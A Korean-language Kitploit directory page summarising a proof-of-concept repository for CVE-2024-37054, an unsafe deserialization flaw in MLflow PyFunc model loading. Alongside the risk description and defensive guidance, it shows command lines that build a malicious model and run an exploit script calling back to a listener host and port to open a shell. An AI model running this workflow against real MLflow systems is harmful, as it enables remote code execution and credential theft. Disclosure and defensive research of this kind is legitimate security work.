Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-37054-PoC — CVE-2024-37054에 대한 개념 증명 및 연구 저장소로, MLflow PyFunc 모델 로딩에서의 안전하지 않은 역직렬화 취약점으로 인해 원격 코드 실행으로 이어질 수 있습니다. | Kitploit
도구/GitHubGitHub/clearlotus-git/cve-2024-37054-poc
Defensive ToolsVulnerability AnalysisExploitationPenetration TestingMachine LearningLearning & EducationAI Security
GitHubclearlotus-git/cve-2024-37054-poc

CVE-2024-37054-PoC

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-37054에 대한 개념 증명 및 연구 저장소로, MLflow PyFunc 모델 로딩에서의 안전하지 않은 역직렬화 취약점으로 인해 원격 코드 실행으로 이어질 수 있습니다.

저장소 보기
4시간 38분 전아직 검토되지 않음

MLflow 안전하지 않은 역직렬화

CVE-2024-37054

개요

이 저장소는 MLflow PyFunc 모델 처리에 영향을 미치는 안전하지 않은 역직렬화 문제인 CVE-2024-37054에 대한 연구를 문서화합니다.

영향을 받는 MLflow 버전에서는 신뢰할 수 없는 PyFunc 모델을 로드할 때 Python 역직렬화 로직이 공격자가 제어하는 동작을 포함하는 직렬화된 객체를 처리할 수 있습니다. 신뢰할 수 없는 아티팩트를 로드하면 모델 로딩 작업을 수행하는 사용자 또는 서비스의 권한으로 코드가 실행될 수 있습니다.

공개 권고에서 보고된 영향을 받는 버전은 다음과 같습니다:

root@kitploit:~
MLflow 0.9.0 through 2.14.1

위험

주요 위험은 단순히 "모델을 업로드하는 것"이 아닙니다. 위험은 애플리케이션, 분석가, 워커 또는 ML 플랫폼이 신뢰할 수 없는 직렬화된 모델 아티팩트를 로드할 때 발생합니다.

잠재적 영향은 다음과 같습니다:

  • MLflow 클라이언트, 워커 또는 서비스 컨텍스트에서의 원격 코드 실행
  • 환경 변수, 자격 증명, 토큰 및 로컬 파일 노출
  • 연결된 모델 저장소, 데이터베이스 및 내부 서비스에 대한 무단 접근
  • 모델, 실험 또는 레지스트리 메타데이터 수정
  • ML 인프라에서 다른 연결된 환경으로의 이동

저장소 내용

root@kitploit:~
build_model.py

비공개, 승인된 랩 환경에서 사용하기 위한 통제된 테스트 모델 아티팩트를 생성합니다.

root@kitploit:~
exploit.py

승인된 훈련 환경에서 취약점 경로를 검증하는 데만 사용되는 비공개 개념 증명 자동화입니다. 이 저장소에는 실제 대상, 자격 증명, 세션 토큰, VPN 구성 파일 또는 파괴적인 페이로드가 포함되어 있지 않습니다.

사용법

이 개념 증명은 승인된 랩 환경에서만 실행하십시오.

1. 테스트 모델 빌드

통제된 모델 아티팩트를 생성합니다:

root@kitploit:~
python3 build_model.py --lhost <YOUR_IP> --lport 4444

2. 자동 계정 등록으로 실행

이미 인증된 세션이 없는 경우 자동 등록 모드를 사용하십시오:

root@kitploit:~
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz

이 모드는 임시 랩 계정을 생성하고, 애플리케이션에 인증한 후 모델 등록 및 검증 워크플로를 계속합니다.

3. 기존 세션으로 실행

이미 유효한 승인된 세션이 있는 경우 직접 전달하십시오:

root@kitploit:~
python3 exploit.py \
  --lhost <YOUR_IP> \
  --lport 4444 \
  --session "<SESSION_TOKEN>"

다음을 대체하십시오:

  • <YOUR_IP>를 승인된 랩 대상에서 접근 가능한 IP 주소로 대체합니다.
  • 4444를 랩에서 사용하는 리스너 포트로 대체합니다.
  • <SESSION_TOKEN>을 활성 승인된 세션 값으로 대체합니다.

실제 세션 토큰, 자격 증명, VPN 파일, 대상 주소 또는 콜백 세부 정보를 절대 공개하지 마십시오.

방어 지침

MLflow를 사용하는 조직은 출처와 무결성이 검증되지 않은 한 모델 아티팩트를 신뢰할 수 없는 입력으로 취급해야 합니다.

권장 보호 조치:

  • 신뢰할 수 없는 직렬화된 PyFunc 또는 pickle 기반 모델 아티팩트를 로드하지 마십시오.
  • 최소 권한을 사용하여 모델 업로드, 등록, 버전 관리 및 로딩 권한을 제한하십시오.
  • MLflow 워크로드를 비루트 컨테이너 또는 제한된 워커 환경에서 격리하십시오.
  • 모델 로딩 및 훈련 인프라에서의 아웃바운드 네트워크 접근을 제한하십시오.
  • 모델 처리 작업에서 접근 가능한 환경 변수에 비밀 정보를 배치하지 마십시오.
  • 모델 업로드, 레지스트리 작업, 아티팩트 접근 및 비정상적인 하위 프로세스 활동을 기록하십시오.
  • MLflow 보안 권고를 모니터링하고 지원되고 유지 관리되는 소프트웨어 버전을 사용하십시오.

면책 조항

이 프로젝트는 방어적 연구, 교육 및 승인된 보안 테스트만을 목적으로 합니다. 개념 증명 워크플로는 통제된 훈련 환경에서만 평가되었습니다. 명시적인 서면 승인 없이 시스템, 계정, 서비스 또는 네트워크에 대해 이 취약점을 테스트하지 마십시오.

도구 다운로드